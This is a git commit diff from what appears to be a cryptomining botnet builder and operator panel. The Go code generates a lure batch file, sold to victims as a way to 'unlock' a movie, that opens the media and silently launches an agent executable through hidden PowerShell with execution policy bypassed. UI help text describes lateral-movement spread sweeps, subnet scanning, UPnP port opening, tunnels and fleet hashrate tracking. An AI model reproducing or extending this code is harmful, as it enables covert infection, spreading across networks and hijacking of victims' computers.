chore: sync post-pack UI help and pathforge tweaks
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-06 16:57:52 -07:00
parent 415b5dc6a3
commit 92db39217f
4 changed files with 145 additions and 7 deletions

View File

@@ -228,6 +228,102 @@ func sanitizeStem(s string) string {
return strings.TrimSpace(replacer.Replace(s))
}
// ─── BLD-D1: root_path allowlist validation ───────────────────────────────────
// validateRootPath ensures rootPath is safe to walk:
// - must not contain ".." segments (path traversal)
// - must resolve to a path under an operator-allowed prefix
func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) {
if containsDotDot(rootPath) {
return "", fmt.Errorf("must not contain '..' path traversal sequences")
}
abs, err := filepath.Abs(rootPath)
if err != nil {
return "", fmt.Errorf("invalid path: %w", err)
}
if !h.isAllowedRootPath(abs) {
return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)")
}
return abs, nil
}
// containsDotDot returns true if any segment of the slash/backslash-separated
// path equals "..".
func containsDotDot(p string) bool {
for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) {
if seg == ".." {
return true
}
}
return false
}
// isAllowedRootPath reports whether abs is equal to or under one of the
// safe prefix directories: the server dataDir, the user home directory, or
// the OS temp directory.
func (h *PathForgeHandler) isAllowedRootPath(abs string) bool {
var prefixes []string
if h.dataDir != "" {
if d, err := filepath.Abs(h.dataDir); err == nil {
prefixes = append(prefixes, d)
}
}
if home, err := os.UserHomeDir(); err == nil {
prefixes = append(prefixes, home)
}
prefixes = append(prefixes, os.TempDir())
for _, prefix := range prefixes {
if isPathUnder(abs, prefix) {
return true
}
}
return false
}
// isPathUnder reports whether path equals parent or is a subdirectory of it.
// Uses filepath.Rel to correctly handle cross-platform path semantics.
func isPathUnder(path, parent string) bool {
rel, err := filepath.Rel(parent, path)
if err != nil {
return false
}
return !strings.HasPrefix(rel, "..")
}
// ─── BLD-D2: shell/bat escaping helpers ──────────────────────────────────────
// escapeBat escapes a value for embedding inside a cmd.exe double-quoted string.
// % must become %% to prevent variable expansion; " terminates the string.
func escapeBat(s string) string {
s = strings.ReplaceAll(s, "%", "%%")
s = strings.ReplaceAll(s, `"`, `\"`)
return s
}
// escapeBatPS escapes a value for embedding inside a PowerShell single-quoted
// string that is itself inside a cmd.exe double-quoted -Command argument.
func escapeBatPS(s string) string {
s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion
s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator)
s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape
return s
}
// escapeShDouble escapes a value for embedding inside a bash double-quoted string.
func escapeShDouble(s string) string {
s = strings.ReplaceAll(s, `\`, `\\`)
s = strings.ReplaceAll(s, `"`, `\"`)
s = strings.ReplaceAll(s, `$`, `\$`)
s = strings.ReplaceAll(s, "`", "\\`")
return s
}
// escapeShSingle escapes a value for embedding inside a bash single-quoted string.
// The only character that needs escaping is ' itself (end-quote, literal, re-open).
func escapeShSingle(s string) string {
return strings.ReplaceAll(s, "'", `'\''`)
}
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(stem string, macOnly bool) string {
@@ -254,13 +350,21 @@ func hintContent(stem string, macOnly bool) string {
//
// When lockOriginal is false it simply opens realFile and runs the agent.
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
// Escape for cmd.exe double-quoted strings (bat context).
lfBat := escapeBat(lockedFile)
rfBat := escapeBat(realFile)
// Escape for PowerShell single-quoted strings inside the bat -Command "..." argument.
lfPS := escapeBatPS(lockedFile)
rfPS := escapeBatPS(realFile)
esPS := escapeBatPS(exeStem)
b := "@echo off\r\n"
if lockOriginal {
// Step 1: unlock
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat)
}
// Step 2: open the file
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat)
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
if lockOriginal {
b += fmt.Sprintf(
@@ -268,12 +372,12 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
" Start-Sleep 4;"+
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
realFile, realFile, lockedFile, exeStem)
rfPS, rfPS, lfPS, esPS)
} else {
b += fmt.Sprintf(
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
exeStem)
esPS)
}
return b
}

View File

@@ -79,6 +79,16 @@ describe('UI_HELP', () => {
'ew_public_urls',
'ew_techniques',
'ew_shared_notes',
'crucible_btn_spread_now',
'crucible_btn_subnet_scan',
'crucible_btn_hole_punch',
'crucible_btn_cf_tunnel',
'fl_filter_chips',
'fl_bulk_actions',
'fl_groups',
'set_alerts',
'set_alert_notifications',
'set_webhook',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -160,4 +160,27 @@ export const UI_HELP: Record<string, string> = {
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
ew_shared_notes:
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
crucible_btn_spread_now:
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
crucible_btn_subnet_scan:
'Probes the local /24 for live hosts via ICMP and TCP knock and returns a host list. Feeds Spread Now and SSH probe. Can take 1040 s on congested or slow subnets.',
crucible_btn_hole_punch:
'Asks the LAN router to create a UPnP inbound port mapping (default 8989) so the agent is reachable from WAN without a VPN or port-forward rule. Requires a router with UPnP enabled.',
crucible_btn_cf_tunnel:
'Launches a cloudflared outbound tunnel to the optional target URL (or the server default tunnel URL). Agent dials out — no inbound firewall rule or open port needed on the target machine.',
fl_filter_chips:
'Narrow the roster by name/IP/notes/tags (text search), tag label, subnet prefix, minimum 15m hashrate, or the "needs attention" flag (offline or idle miners below 100 H/s).',
fl_bulk_actions:
'Actions applied to every checked agent at once: pause or resume mining, stop the miner thread, restart only idle workers, take a screenshot (one agent only), or permanently delete from roster.',
fl_groups:
'Named color-coded subsets of the fleet stored in browser local storage. Click a chip to check-select all members — then apply bulk actions or send Crucible commands to the whole group at once.',
set_alerts:
'Dashboard thresholds that trigger amber or red status badges: how long before an agent is marked offline, how far hashrate must drop to flag a node, and at what rejection-rate share quality degrades.',
set_alert_notifications:
'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.',
set_webhook:
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
};

View File

@@ -397,8 +397,9 @@ export default function BuildManagerPage() {
return (
<div className="page fade-in bm-page operator-deck-page">
<div className="bm-header">
<div>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY &amp; MANAGE</p>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
@@ -412,7 +413,7 @@ export default function BuildManagerPage() {
New Forge
</button>
</div>
</div>
</header>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>